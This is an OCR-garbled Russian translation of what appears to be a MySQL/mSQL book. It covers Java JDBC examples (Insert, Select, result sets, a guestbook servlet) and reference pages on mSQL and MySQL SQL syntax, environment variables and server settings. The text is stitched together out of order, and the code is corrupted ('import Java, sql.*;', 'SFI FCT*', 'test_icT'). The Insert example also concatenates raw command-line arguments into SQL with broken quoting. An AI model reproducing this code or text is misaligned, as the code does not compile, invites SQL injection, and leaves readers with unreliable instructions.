    Для каждого результирующего набора обеспечивается получение экземпляра ResultSetMetaData с помощью метода getMetaData(). При динамическом доступе к базе данных необходимо узнать, сколько колонок в результирующем наборе, чтобы с уверенностью извлечь все колонки и их имена для вывода пользователю. Метаданные нашего результирующего набора обеспечивают получение всех этих данных с помощью методов getColumnCount() и getColumnLabel().

    Обработка динамического SQL

    В примере 14-6 введено понятие динамического вызова SQL. Поскольку мы не знаем, будет это запрос на получение данных или обновление, нужно передать вызов SQL через метод execute (). Этот метод возвращает true, если команда возвратила результирующий набор, и false в противном случае. В нашем примере, если возвращается true, то приложение получает возвращаемый ResultSet через вызов метода getResultSet(). Затем приложение может перейти к обычной обработке результирующего набора. Если, напротив, команда произвела какую-либо модификацию базы данных, можно вызвать метод getUpdateCu-unt() для подсчета числа строк, модифицированных командой.



    К несчастью, каждый API позволяет

    Java u JDBC

    В главе 13 "Си C++", мы познакомили вас с С API для MySQL и mSQL. К несчастью, каждый API позволяет писать программы только для той базы данных, которую он поддерживает. Если вы собираетесь переносить приложение между MySQL и mSQL или, того хуже, хотите, чтобы оно работало на Oracle, Sybase или с любой другой СУБД, вам необходимо переписать свой код так, чтобы он использовал фирменный API этого ядра. Однако Java-программисты по большей части избавлены от проблем переносимости на другую базу данных. У них есть единый API, Java DataBase Connectivity API (JDBC), обеспечивающий их унифицированным интерфейсом ко всем SQL-базам данных.

    Поскольку JDBC является единым интерфейсом ко всем базам данных, достаточно изучить его, чтобы писать приложения, которые будут работать как с MySQL, так и с mSQL. На самом деле, если должным образом использовать JDBC, то написанные вами на Java приложения смогут работать с любой СУБД. Если у вас есть доступ к другим базам данных, кроме MySQL и mSQL, можете проверить верность этого утверждения, запустив примеры данной главы с другой базой данных.

    Для чтения этой главы предполагается знание основ языка программирования Java и лежащих в его основе концепций. Если такой подготовки у вас нет, настоятельно рекомендуем посмотреть "Exploring Java" (O'Reilly & Associates, Inc.). Узнать более подробно о том, как создавать многоуровневые приложения баз данных, о чем мы рассказывали в главе 8 "Архитектуры приложений баз данных", можно из книги "Database Programming with JDBC and Java" (O'Reilly & Associates, Inc.).



    Простой доступ к базе данных

    В примере Connect делалось не много. В нем было просто показано, как соединиться с базой данных. В соединении с базой данных нет пользы, пока вы не начинаете действительно обмениваться с ней данными. Простейшие виды доступа к базе данных - команды SELECT, INSERT, UPDATE и DELETE. В JDBC API вы используете экземпляр Connection для создания экземпляров класса Statement. Класс Statement представляет SQL-команду любого типа. В примере 14-4 показано, как вставить строку в базу данных, используя Statement.

    Пример 14-4. Вставка строки в mSQL с помощью объекта JDBC Statement

    import Java, sql.*;
    import Java, util.*;

    public class Insert {

    // Делаем вставку в таблицу, имеющую две колонки: test_id (int)

    // и test_val (char(55))

    // args[0] - это test_id, a args[1] - test_val

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle = ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL");
    Statement stmt;

    Class.forName(bundle.getString("Driver"));

    // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", "");

    stmt = con.createStatement();

    stmt.executeUpdate("INSERT INTO test (test_id, test_val) " +

    "VALUES(" + args[0] + ", '," + args[1] + ")");
    }
    catch( SQLException e )
    {

    e. printStackTrace();
    }
    finally
    {

    if( con != null )
    {

    try { con.close();
    }
    catch( Exception e ) { }

    }
    }
    }
    }

    В реальном приложении мы бы, конечно, проверили, что пользователь ввел значение типа INT для test_id, что оно уникально, и что длина введенного значения test_val не превышает 55 символов. Тем не менее пример показывает, как просто осуществлять вставку данных. Метод createStatement() делает то, о чем говорит его название: создает пустую SQL-команду, связанную с рассматриваемым соединением - объектом Connection. Затем метод executeUpdate() передает заданную строку SQL базе данных для выполнения. Как подсказывает название, executeUp-date() ожидает команды SQL, которая некоторым образом модифицирует базу данных. Вы можете использовать ее, чтобы вставлять новые строки, как показано выше, либо удалять строки, обновлять строки, создавать новые таблицы или производить любые другие изменения в базе данных.


    Запросы выполнять немного сложнее, чем обновления, поскольку они возвращают информацию из базы данных в виде объекта ResultSet. ResultSet является интерфейсом, представляющим 0 или более строк, являющихся результатом запроса, обращенного к базе данных. В классе JDBC Statement имеется метод executeQuery(), работающий подобно executeUpdate(), за исключением того, что он возвращает из базы данных ResultSet. Метод executeQuery() возвращает ровно один ResultSet, тем не менее имейте в виду, что JDBC поддерживает извлечение множественных результирующих наборов для тех баз данных, которые это позволяют. Ни MySQL, ни mSQL не поддерживают множественные результирующие наборы. Однако важно помнить о такой возможности, когда вы изучаете код для работы с иным ядром базы данных, написанный кем-то другим. В примере 14-5 показан простой запрос. На рис. 14-2 изображена модель данных з таблице test.

    Пример 14-5. Простой запрос

    import Java, sql.*;

    import Java, util.*;

    public class Select {

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle =ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL"); Statement stmt;

    ResultSet rs;

    Class.forName(bundle.getString("Driver")); // здесь осуществляется соединение

    con = DriverManager,getConnection(url, "borg", "");

    stmt = con.createStatement();

    rs = stmt .executeQuery("SFI FCT* from test ORDER BY test_id");

    System, out.print In("Полученные результаты:");

    while(rs. next()) {

    int a= rs.getInt("test_icT);

    String str = rs.getString("test_val");

    System.out.print(" ключ= " + a);

    System.out.print(" строка= " + str);

    System.out.print("\n");

    }

    stmt.close();

    }

    catch( SQLException e )

    {

    e. printStackTrace();

    }

    finally {

    if( con != null ) {

    try { con.close(); }

    catch( Exception e ) { }

    }

    }

    }

    }

    Приложение Select выполняет запрос и затем проходит по всем строкам ResultSet с помощью метода next(). До первого обращения к next() ResultSet не указывает ни на какую строку. Каждый вызов next () настраивает ResultSet на следующую строку. JDBC 2:0 вводит понятие результирующего набора с перемещением (scrollable). Если ваш экземпляр ResultSet позволяет перемещение, можно также обращаться к методу previous() для перемещения по результирующему набору в обратном направлении. Обработка строк заканчивается, когда next () возвращает false.


    Простой доступ к базе данных

    Рис. 14-2. Таблица test из учебной базы данных

    Работа со строкой означает получение значений для каждой колонки. Каково бы ни было значение в базе данных, можно использовать методы ResultSet для получения значения колонки с любым типом данных Java, который вас устраивает. В приложении Select вызов метода gе tInt() возвращал колонку test_id как int, а вызов getString() возвращал значение колонки test_val как String. Эти методы получения значения колонки принимают либо номер колонки, начиная с 1, либо ее имя. Следует, однако, всеми силами избегать извлечения значений с помощью имен колонок, поскольку такой способ значительно медленнее, чем получение их с помощью номеров колонок.

    Обработка ошибок и освобождение ресурсов

    Все методы JDBC могут возбуждать SQLException или один из подклассов этого класса, если что-то происходит при обращении к базе данных. Ваш код должен уметь перехватывать исключительную ситуацию, обрабатывать ее и освобождать все размещенные в памяти ресурсы базы данных. Все перечисленные до сих пор классы JDBC имеют метод close(). Однако на практике вы должны обеспечить закрытие только тех объектов, которые вызваны процессами, продолжающими оставаться открытыми. В приведенных до сих пор примерах практически требовалось закрыть только соединение с базой данных. При закрытии соединения автоматически закрываются все связанные с ним команды и результирующие наборы. Однако если вы намерены сохранить соединение открытым в течение некоторого времени, будет правильным поспешить закрыть все объекты statement, которые вы создали с использованием этого соединения, когда они вам больше не нужны. В примерах JDBC, которые вы видели, это освобождение ресурсов производится в предложении finally. Это делается для того, чтобы обеспечить закрытие соединения независимо от того, что произойдет.



    Серверное приложение гостевой книги

    Вы, вероятно, немало слышали об апплетах Java. Однако в главе 8 мы говорили о том, что доступ к базам данных на стороне клиента является плохой идеей. В примеры к этой книге мы включили реальное приложение, использующее сведения о JDBC, изложенные в этой главе, для создания класса Java на стороне сервера. Такие приложения называются сервлеты (servlet). Хотя серверные приложения сами по себе не являются частью трехзвенной архитектуры, обсуждавшейся нами в главе 8, данный пример хорошо иллюстрирует возможности использования JDBC. Это серверное приложение является Web-страницей, позволяющей посетителям вашего сайта оставить свое мнение о нем. Оставленные комментарии могут просматриваться другими посетителями. Все, что вам нужно знать о серверных приложениях для понимания этого примера, это то, что метод doPost() обрабатывает события HTTP POST, a de-Get () обрабатывает события HTTP GET.

    В этом приложении две части: часть get и часть post. В обеих частях производится вызов метода printComments() для показа комментариев, оставленных в гостевой книге. В этом методе мы находим нечто, не встречавшееся нам в простых предыдущих примерах: вызов метода wasNull() после каждого извлечения значения колонки. Как и можно предположить из названия, wasNull() возвращает t rue, если последнее извлеченное значение было NULL в смысле SQL. В вызовах, возвращающих объект Java, значение обычно будет NULL, если при чтении из базы данных был получен NULL. Использование wasNull() в таких случаях может показаться излишним. Однако для простых типов данных выборка может возвращать допустимое значение. Метод wasNull() позволяет узнать, не было ли в базе данных значения NULL. Например, NULL в колонке целого типа возвращает 0 при вызове getlnt(). Чтобы узнать, что было в колонке - 0 или NULL, нужно вызвать wasNull().

    Часть III.

    Справочник

    В этой части приводится справочная информация по всем API и утилитам, упоминаемым в книге.



    MSQLSQL

    CREATE

    CREATE TABLE name field_name field_type, [field2 type2, ...]
    CREATE SEQUENCE ON table [STEP value] [VALUE value]
    CREATE INDEX name ON table ( column, ...)

    Создает новые элементы базы данных (или полностью новые базы). Предложение используется для создания БД, таблиц, индексов и счетчиков.

    CREATE SEQUENCE создает счетчик на таблицу. Счетчик - это простое значение, связанное с таблицей, за которым следит сервер mSQL. Наиболее часто счетчик используют для создания уникальных идентификаторов в таблицах. При прочтении значение счетчика каждый раз инкрементируется. Спецификатор STEP указывает на какое значение каждый раз инкрементируется счетчик. Спецификатор VALUE задает начальное значение счетчика.

    Оператор CREATE INDEX определяет индекс для таблицы. Система mSQL поддерживает индексы, содержащие более одного поля. Вы должны дать индексу имя, необязательно осмысленное, поскольку конечным пользователям редко необходим доступ к индексам.

    CREATE TABLE определяет структуру таблицы в базе данных. Этим оператором создаются все таблицы mSQL. Предложение состоит из имени таблицы, за которым идет любое количество определений полей. Синтаксис определения полей включает в себя имя поля, затем его тип, за которым следует любой модификатор (например: name char(30) not null). mSQL поддерживает следующие типы данных:

    CHAR (length)

    Текстовое значение фиксированной длины. Никакое значение не может быть больше заданной длины.

    DATE

    Стандартный тип даты.

    INT

    Стандартное четырехбайтовое целое в диапазоне от -2147483646 до 2147483647.

    MONEY

    Денежный тип, подходящий для аккуратного хранения денежных значений. Тип позволяет хранить десятичные значения (как 19.99) без необходимости использовать тип числа с плавающей запятой.

    REAL

    Стандартное восьмибайтовое число с плавающей запятой. Минимальные ненулевые значения +/-4.94Е-324 и максимальные значения +/- 1.79Е+308.

    ТЕХТ( length)

    Текстовое значение переменной длины. Заданная длина - это максимальное значение для большинства данных, однако могут быть введены и более длинные данные.


    TIME

    Стандартный тип времени.

    UINT

    Стандартное четырехбайтовое беззнаковое целое. Диапазон от 0 до 4294967295.

    В дополнение к основным типам могут быть использованы несколько спецификаторов для уточнения свойств типа:

    length

    Это является максимальной длиной символьного типа. Для типа CHAR это абсолютный максимум, для типа TEXT это приблизительный максимум, применяющийся только к большинству данных. Более длинные данные могут быть введены в поле TEXT, однако это замедлит операции с таблицей.

    NOT NULL

    Указывает, что поле не может содержать нулевое значение. Попытка ввести в это поле такое значение вызовет ошибку.

    Примеры

    # Создать 'простую таблицу

    CREATE TABLE emp_data ( id INT, name CHAR(50) )

    # Добавить счетчик к таблице 'checks' с начальным значением '1000' и # шагом инкрементации по умолчанию (1)

    CREATE SEQUENCE ON checks VALUE 1000

    # Создать индекс для таблицы 'music', включающий в себя

    # поля 'artist','publisher' и 'title'.

    CREATE INDEX idxl O.N music ( artist, publisher, title )

    DELETE

    DELETE FROM table [WHERE clause]

    Удаляет запись из таблицы. Если применяется без предложения WHERE, будет полностью удалена вся таблица, а затем создана новая пустая

    таблица. С использованием WHERE будут удалены записи, отвечающие условиям выражения.

    Примеры

    # Стереть все данные из таблицы 'olddata'(no не саму таблицу). DELETE FROM olddata

    # Стереть все записи в таблице 'sales', в которых поле 'year' равно '1995', DELETE FROM sales WHERE year=1995

    DROP

    DROP INDEX name DROP TABLE name DROP SEQUENCE FROM table

    Полностью удаляет таблицу, индекс или счетчик из системы mSQL.

    MSQLSQLDROP - это, возможно, самое опасное из выражений SQL. Если вы имеете право на выполнение команд DROP, вы можете полностью стереть таблицу или даже целую базу данных. Это произойдет без предупреждения или запроса на подтверждение. Единственный способ отменить DROP - восстановление базы данных из резервной копии. Поэтому следует запомнить два правиле: (1) всегда сохраняйте резервную копию вашей базы (backup); (2) не используйте DROP до тех пор, пока вы полностью не уверены в том, что это необходимо.


    Примеры

    # Удалить таблицу 'oh_no'. DROP TABLE oh_no

    # Удалить индекс с именем 'my_index' DROP INDEX my_index

    # Стереть счетчик для таблицы 'counter'. Другой счетчик может быть

    # создан в любое время с помощью команды 'CREATE SEQUENCE'.

    DROP SEQUENCE FROM counter

    INSERT

    INSERT INTO table [ (column, ...) ] VALUES ( values )

    Записывает данные в таблицу. Этот оператор вставит указанные значения в заданные столбцы. Поля, значения которых не указаны, получат значение NULL. Если вы не зададите список столбцов, число указанных значений должно точно совпадать с числом столбцов в таблице.

    Примеры

    # Добавить запись в таблицу'people'.

    INSERT INTO people ( name, rank, serial_number )

    VALUES ( 'Bob Smith', 'Captain', 12345 )

    SELECT

    SELECT [DISTINCT] columns FROM table [clause]

    Выбирает данные из таблицы. Оператор SELECT является основным методом чтения данных из таблиц баз данных.

    Если вы укажете несколько таблиц, mSQL автоматически объединит таблицы для сравнения записей.

    Если указано ключевое слово DISTINCT, будет показана только одна запись из каждой группы одинаковых записей возвращаемого набора.

    Имена столбцов могут быть указаны как column или как table, column . Длинная форма необходима только для того, чтобы отличать столбцы с одинаковыми именами, но ее можно использовать в любое время (например, SELECT name FROM people; SELECT people, name FROM people ).

    Список таблиц для соединения указывается как Table1, Table2, Tab-1еЗ, .... Таблицы будут соединены таким образом, как mSQL сочтет наиболее эффективным. Именам таблиц могут быть присвоены псевдонимы (например, SELECT t1.name, t2.address FROM Iong_table_name=t1, Ionger_table_name=t2 ). Если не указано выражение clause, SELECT вернет все данные из выбранной таблицы (или таблиц).

    Выражение отбора записей может содержать следующие операторы:

    WHERE

    Конструкция WHERE является основным способом поиска данных в SQL. В конструкции сравниваются два и более значений. Можно использовать значения с именами (такие как имена столбцов и псевдонимы), числовые константы и строки. Поддерживаются следующие операторы:


    AND

    Выполняет логическое И ( вернет 0, если хоть один из аргументов равен 0, иначе вернет 1).

    OR

    Выполняет логическое ИЛИ (возвращает 1, если любой из аргументов не равен 0, иначе возвращает 0).

    ()

    Скобки используются для группировки операторов, чтобы указать старшинство.

    =

    Возвращает 1, если два значения совпадают, иначе вернет 0. mSQL автоматически преобразует типы при сравнении значений.

    <>

    Возвращает 1, если два значения не совпадают, иначе возвращает 0.

    <=

    Возвращает 1, если левое значение меньше или равно правому, иначе возвращает 0.

    <

    Возвращает 1, если левое значение меньше, чем значение справа, иначе возвращает 0.

    >=

    Возвращает 1, если левое значение больше или равно правому, иначе возвращает 0.

    >

    Возвращает 1, если левое значение больше правого, иначе возвращает 0.

    ORDER BY column [DESC][, column2 [DESC],...]

    Сортирует возвращаемые данные по заданному столбцу (или столбцам). Если указать DESC, данные будут отсортированы в порядке убывания, иначе будет использована сортировка по возрастанию (например, SELECT name, age FROM people ORDER BY age DESC ).

    value1 LIKE value2

    Сравнивает valuel и value2 и возвращает 1, если они совпадают. Значение справа может содержать знак подстановки " % ", который заменяет любое количество символов (в том числе и отсутствие символа), и знак '_', замещающий в точности один символ. Это, возможно, наиболее употребительное в SQL сравнение. Чаще всего используется сравнение поля с некоторой строкой, содержащей знак подстановки (например, SELECT name FROM people WHERE name LIKE 'B%' ).

    value1 RLIKE value2

    Сравнивает valuel и value2, используя расширенный синтаксис регулярных выражений, и возвращает 1, если они совпадают. Значение справа может содержать полные подстановочные выражения и конструкции Unix (например, SELECT name FROM people WHERE name RLIKE '^В. *').

    value1 CLIKE value2

    Сравнивает value1 с value2, используя нечувствительную к регистру версию оператора LIKE (например, SELECT name FROM people WHERE name CLIKE 'b%' ).

    Предложение WHERE возвращает все записи, для которых значение заданного выражения не равно 0 или NULL. Таким образом, SELECT age FROM people WHERE age>10 вернет только те записи, где 'ages' больше 10.

    Примеры

    # Найти все имена (пате)в таблице 'people', у которых поле 'state' равно 'МI'. SELECT name FROM people WHERE state='MI' # Показать все данные из таблицы 'mytable'. SELECT * FROM mytable

    UPDATE

    UPDATE table SET column=value, . . . [WHERE clause]

    Изменяет данные в таблице. Используется для обновления существующих данных, не изменяя саму таблицу.

    Пример

    # Изменить имя 'John Deo' на 'John Doe' во всей таблице 'people'. UPDATE people SET name='John Doe' WHERE name='John Deo'

    MySQL SQL

    ALTER/MODIFY

    ALTER [IGNORE] TABLE table ADD [COLUMN] create_clause

    ALTER [IGNORE] TABLE table ADD INDEX [name] (column, . . .)

    ALTER [IGNORE] TABLE table ADD UNIQUE [name] (column, . . .)

    ALTER [IGNORE] TABLE table ALTER [COLUMN] column SET DEFAULT value

    ALTER [IGNORE] TABLE table ALTER [COLUMN] column DROP DEFAULT

    ALTER [IGNORE] TABLE table CHANGE [COLUMN] column create..clause

    ALTER [IGNORE] TABLE table DROP [COLUMN] column

    ALTER [IGNORE] TABLE table DROP FOREIGN KEY key

    ALTER [IGNORE] TABLE table DROP INDEX key

    ALTER [IGNORE] TABLE table DROP PRIMARY KEY

    ALTER [IGNORE] TABLE table MODIFY [COLUMN] create_clause

    ALTER [IGNORE] TABLE table RENAME [AS] new_name

    Оператор ALTER охватывает широкий набор действий, которые изменяют структуру таблицы. Этот оператор используется для добавления, изменения или удаления столбцов существующей таблицы, а также для удаления индексов. Несколько операторов ALTER могут быть объединены в одно предложение с помощью запятых:

    ALTER TABLE mytable DROP myoldcolumn, ADD mynewcolumn INT

    Для модификации таблицы MySQL создает копию таблицы и изменяет ее, выполняя все модифицирующие запросы. Когда все изменения сделаны, старая таблица удаляется, а ее место занимает новая таблица. В этой точке выполняются все поставленные в очередь запросы. В целях безопасности, если какой-либо из запросов создает дублирующие ключи, которые должны быть уникальными, предложение ALTER откатывается и отменяется. Если в предложении присутствует ключевое слово IGNORE, дублированные уникальные ключи игнорируются, и запрос ALTER исполняется как обычно. Имейте в виду, что использование IGNORE для активной таблицы с уникальными ключами может привести к искажению и порче таблицы.

    Как указывалось выше, есть несколько разных, зачастую противоположных действий, выполняемых ALTER:

    ADD [COLUMN] create,clause

    Добавляет новый столбец в таблицу. Выражение create_clause имеет тот же вид, что и используемое в операторе CREATE (см. ниже). Таблица должна существовать и не иметь столбца с тем же именем, что у добавляемого столбца. (Ключевое слово COLUMN необязательно и не имеет эффекта.)


    ADD INDEX [ name] (column , ...)

    Системные переменные MySQL и mSQL

    Для настройки работы MySQL и mSQL могут использоваться некоторые переменные. Многие из них являются переменными окружения, которые наследуются от оболочки пользователя, в то время как другие устанавливаются с помощью командной строки и файлов конфигурации.



    Системные переменные mSQL

    До появления mSQL 2 сконфигурировать систему после инсталляции можно было только через несколько глобальных переменных окружения. Однако mSQL 2.0 использует файл конфигурации, позволяющий производить установку параметров mSQL с гораздо большей гибкостью. Эта часть описывает как переменные окружения, так и специальный файл конфигурации mSQL 2.

    Переменные окружения

    Следующие переменные являются специальными переменными программ mSQL. Они могут быть определены в текущей оболочке или являться частью сценария оболочки.

    MSQL_DEBUG

    Отладочный уровень программы. Число от 0 (нет отладочной информации) до 3 (максимум отладочной информации).

    MSQL_CONF_FILE

    Путь к файлу конфигурации mSQL.

    Кроме того, программы mSQL используют следующие переменные окружения, которые обычно устанавливаются как часть среды Unix:

    USER

    Имя текущего пользователя.

    EDITOR
    VISUAL

    Путь к заданному по умолчанию редактору. Программа msql будет использовать его для редактирования SQL операторов, если ей встретится команда \е.

    Файл конфигурации mSQL

    Файл конфигурации mSQL содержит значения некоторых переменных, которые влияют на работу программ mSQL. По умолчанию он находится в /usr/local/Hughes/msql.conf. Можно изменить это значение в переменной окружения MSQL_CONF_FILE. Файл конфигурации начинается с имени группы, за которым идут переменные этой группы. Ниже пример файла msql.conf:

    [general]

    Inst_Dir = /usr/local/Hughes

    mSQL_User = msql

    Admin_User = root

    Pid_File = %I/msql2d.pid

    TCP_Port =1114

    UNIX_Port = %I/msql2.sock

    [system]

    Msync_Timer = 30 Host_Lookup = True Read_0nly = False

    [w3-msql]

    Auth_Host = NULL Footer = True Force_Private = False

    Секция general влияет на работу всех программ mSQL, сервер баз данных msqld использует секцию system, и секция w3-msql используется системой W3-mSQL, обеспечивающей взаимодействие базы данных с WWW. Когда mSQL читает файлы конфигурации, он заменяет символы %1 на путь к установленной копии mSQL на сервере. Ниже представлены возможные переменные для каждой секции.


    general

    Admin_User

    Имя учетной записи, которой позволено вносить изменения в базу данных mSQL в целом. По умолчанию это root.

    Inst_Dir

    Расположение mSQL. Каждый раз, когда в файле конфигурации встречается символы %1, они заменяются значением данной переменной. Значение по умолчанию - /usr/local/Hughes.

    mSQL_User

    Имя учетной записи, под которой работает демон сервера mSQL. По умолчанию это msql.

    Pid_File

    Расположение файла, содержащего ID процесса (PID) работающего демона mSQL. По умолчанию - %I/msql2d. pid.

    TCP_Port

    В случае программы клиента это номер TCP-порта, используемого для подключения к серверу, для msql2d - это порт, прослушивающий входящие подключения. Значение по умолчанию - 1114.

    UNIX_Port

    Имя файла сокета Unix, используемого для подключения к локальному серверу mSQL (в случае клиентских приложений) либо для обработки локальных подключений (в случае с msql2d). Значение по умолчанию - %I/msql2. sock.

    system

    Host_Lookup

    Если установлено значение 'True', все клиентские подключения должны осуществляться с машин с действующими и проверяемыми именами хостов.

    Msync_timer

    Интервал (в секундах) синхронизации используемых данных, находящихся в RAM, с данными на диске.

    Read_Only

    Если значение этой переменной установлено в 'True', не допускается изменение базы данных. Разрешены только запросы SELECT.

    w3-msql

    Auth_Host

    Имя хоста, содержащего сервер БД с таблицами W3-Auth. Если значение установлено в NULL либо не указано, используется локальный сервер.

    Footer

    Если установлено значение 'True', к каждой странице будет применяться стандартный нижний колонтитул Hughes Technologies.

    Force_Private

    При значении 'True' через W3-mSQL может быть получен доступ только к защищенным W3-Auth страницам. В результате не допускается обработка обычных HTML-файлов через W3-mSQL.

    Системные переменные MySQL

    Переменные окружения MySQL

    Следующие переменные являются специальными переменными MySQL. Они могут быть определены в текущей оболочке или задаваться как часть сценария оболочки. Чтобы установить переменную для демона MySQL (mysqld), определите переменную в используемом для запуска демона сценарии safe_mysqld или определите значения переменных в файле конфигурации MySQL (мы расскажем о нем дальше в этой главе).

    MY_BASEDIR
    MY_BASEDIR_VERSION

    Корневой каталог, содержащий подкаталоги 'bin', 'var' и 'libexec' программы и данные MySQL. Если этой переменной не существует, используется значение по умолчанию (обычно записанное в MySQL как /usr/local). Эти настройки влияют только на программу mysqld.

    MYSQL_DEBUG

    Уровень отладки программы (отладочный уровень). Эта переменная может быть использована с любой программой MySQL. Отладочная библиотека MySQL имеет множество настроек. Список всех доступных опций находится по адресу: http://www.turbolift.com/ туsql/appendixC.html. Самый обычный набор параметров - d: t: о, / tmp/debugfile.

    MYSQL_HOST

    Имя хоста, используемое для связи с удаленным сервером MySQL. Опция может быть использована с любой из клиентских программ MySQL (mysql, mysqlshow, mysqladmin и т. д.).

    MYSQL_PWD

    Пароль, используемый для связи с сервером MySQL. Переменная может быть использована с любой из клиентских программ MySQL.

    Системные переменные MySQLБудьте внимательны при вводе ваших паролей. Обычно при использовании переменных окружения их значение устанавливают в скриптах. Разумеется, использование переменной MYSQL_PWD в скрипте сделает ваш пароль доступным для всех, кто сумеет запустить этот скрипт. Даже установка этой переменной вручную через командную строку делает ее доступной суперпользователю и всем тем, кто может исследовать содержимое системной памяти.

    MYSQL_TCP_PORT

    При использовании вкупе с клиентской программой это будет TCP-порт на удаленной машине, предназначенной для связи с сервером MySQL. Когда используется с программой mysqld, это - номер TCP-порта, прослушивающего входящие соединения.


    MYSQL_UNIX_PORT

    При использовании с клиентской программой - это файл сокета Unix, используемый для связи с сервером MySQL. При использовании с программой mysqld - файл сокета Unix для локальных подключений.

    Кроме того, программы MySQL используют следующие переменные окружения, которые обычно устанавливаются как часть среды Unix.

    EDITOR VISUAL

    Путь к заданному по умолчанию редактору. Программа mysql будет использовать его для редактирования SQL-операторов, если ей встретится команда edit или \е.

    HOME

    Домашний каталог текущего пользователя. LOGIN LOGNAME USER

    Имя текущего пользователя.

    PATH

    Список каталогов, используемых при поиске программ.

    POSIXLY_CORRECT

    Если эта переменная определена, не происходит никакой обработки опций программной строки. В противном случае параметры программной стоки переупорядочиваются таким образом, чтобы сделать возможным использование расширенных опций. Эта переменная может использоваться с любой программой MySQL.

    ТМР TMPDIR

    Каталог, в котором сохраняются временные файлы. Если эта переменная не определена, используется '/tmp '.

    TZ

    Часовой пояс локальной машины.

    UMASK

    Маска, используемая при создании новых файлов.

    Переменные командной строки

    Данные параметры определяются через опции командной строки -0 или -set-variable, которые доступны в большинстве программ MySQL.

    back_log

    Число подключений TCP, которые могут быть поставлены в очередь за один раз. Значение по умолчанию - 5. Эта опция доступна только для mysqld.

    connect _timeout

    Время (в секундах), в течение которого сервер mysqld ожидает пакет подключения, прежде чем ответить сообщением об ошибке соединения (bad handshake).

    decode-bits

    Число бит, используемое для генерирования некоторых внутренних таблиц. Число должно находиться в диапазоне от 4 до 9 (между 4 и 6 в 16-разрядных операционных системах). Значение по умолчанию - 9. Эта опция доступна только для isamchk. Используйте ее лишь при условии, что вы хорошо понимаете структуру таблицы ISAM.


    delayed_insert_limit

    Заставляет обработчик INSERT DELAYED проверять наличие команд SELECT, задержанных при вставке числа записей, указанного в delayed _insert_limit. Если таковые есть, обработчик позволяет выполнить эти команды перед продолжением работы.

    delay ed_insert_timeout

    Как долго поток INSERT DELAYED должен ожидать операцию INSERT перед завершением.

    delayed_queue_size

    Размер очереди (в записях) для обработки INSERT DELAYED. Если очередь переполняется, все клиенты, выполнившие INSERT DECAYED, снова будут ждать, пока появится место в очереди.

    dritebuffer

    Размер буфера, используемый для хранения исходящих данных. Значение по умолчанию - 260 Кбайт. Эта переменная доступна только для isamchk.

    flush_time

    Если переменная определена, все таблицы закрываются каждые flush_time секунд, для того чтобы освободить ресурсы и синхронизировать изменения на диск.

    join_buffer

    Размер буфера при выполнении соединения таблиц. Увеличение параметра может повысить производительность запросов, использующих соединение таблиц. Значение по умолчанию — 130 Кбайт. Эта опция доступна только для mysqld.

    key_buffer_size

    Размер буфера, выделенного для хранения ключей (индексов), к которым недавно осуществлялся доступ. Увеличение этого значения может привести к увеличению скорости работы запросов, осуществляющих повторное использование одних и тех же индексов. Эта опция доступна только для isamchk (где значение по умолчанию равно 0.5 Мбайт) и mysqld (значение по умолчанию 1 Мбайт).

    long_query_time

    Если значение установлено, то slow_queries увеличивается всякий раз, когда запрос занимает больше времени, чем определено в переменной long_query_time (в секундах).

    max_allowed_packet

    Максимальный размер буфера, используемого для хранения входящих данных. Каждое клиентское подключение имеет собственный буфер. Значение по умолчанию 64 Кбайт. Опция доступна только для mysqld.

    max_connect_errors

    Если значение установлено, сервер блокирует дальнейшие подключения с удаленного хоста, когда количество прерванных подключений с удаленного хоста превышает max_connect_errors. Возможно разблокирование хоста с помощью команды FLUSH HOSTS.


    max_Connections

    Максимальное число одновременных клиентских подключений. Значение по умолчанию - 90. Эта опция может использоваться только с mysqld.

    max_delayed_threads

    Количество потоков, обрабатывающих INSERT DELAYED, должно быть не больше значения этой переменной. Если после исчерпания этого лимита клиент попытается использовать INSERT DATA для ввода новых данных, запрос будет обработан, как если бы атрибут DELAYED не был указан?

    max_join_size

    Максимальный размер временной таблицы, создаваемой при соединении таблиц. Значение по умолчанию - 4 Гбайт. Эта опция может использоваться только с mysqld.

    max_sort_length

    Максимальное число символов, используемое при сортировке полей BLOB либо VARCHAR. Значение по умолчанию 1 Кбайт.

    max_tmp_tables

    (Будет реализовано позднее в версии 3.23.) Максимальное количество временных таблиц, которое клиент может открыть одновременно.

    net_buffer_length

    Начальный размер буфера для хранения входящих данных. Каждое клиентское подключение имеет собственный отдельный буфер.

    По умолчанию его размер равен 8 Кбайт. Опция доступна для mysql, mysqld и mysqldump.

    readbuffer

    Размер буфера, используемого для хранения читаемых из файла данных. Значение по умолчанию 260 Кбайт. Опция доступна только для isamchk.

    record_buffer

    Размер буфера, используемого при чтении данных прямо из таблиц, (то есть без использования ключей). Увеличение этого значения может повысить скорость выполнения запросов, не использующих индексы (ключи). По умолчанию значение равно 130 Кбайт. Этот параметр доступен только для mysqld.

    sortbuffer

    Размер буфера, используемого при сортировке данных из таблиц. Значение по умолчанию 1 Мбайт. Опция доступна только для isamchk.

    sort_buffer

    Размер буфера, используемого при сортировке выбранных данных. Увеличение его размера может повысить скорость выполнения запросов, использующих ORDER BY или GROUP BY. По умолчанию значение равно 2 Мбайт. Эта опция доступна только для mysqld.

    sort_key_blocks

    Число блоков ключей (индексных блоков), используемых при сортировке ключей. Значение по умолчанию 16. Эта опция доступна только для isamchk, пользуйтесь ей, если вы хорошо понимаете структуру таблицы ISAM.


    table_cache

    Максимальное число таблиц, которое сервер баз данных может держать открытым одновременно. По умолчанию это 64 таблицы. Опция доступна только для mysqld.

    tmp_table_size

    Максимальный размер временных таблиц, используемых сервером баз данных. Значение по умолчанию - 1 Мбайт. Эта опция доступна только для mysqld.

    thread_stack

    Размер стека памяти для каждого потока. Значение по умолчанию -64 Кбайт. Эта опция доступна только для mysqld.

    wait_timeout

    Количество секунд, в течение которых сервер ожидает активности от подключения, после чего закрывает его.

    Файл конфигурации MySQL

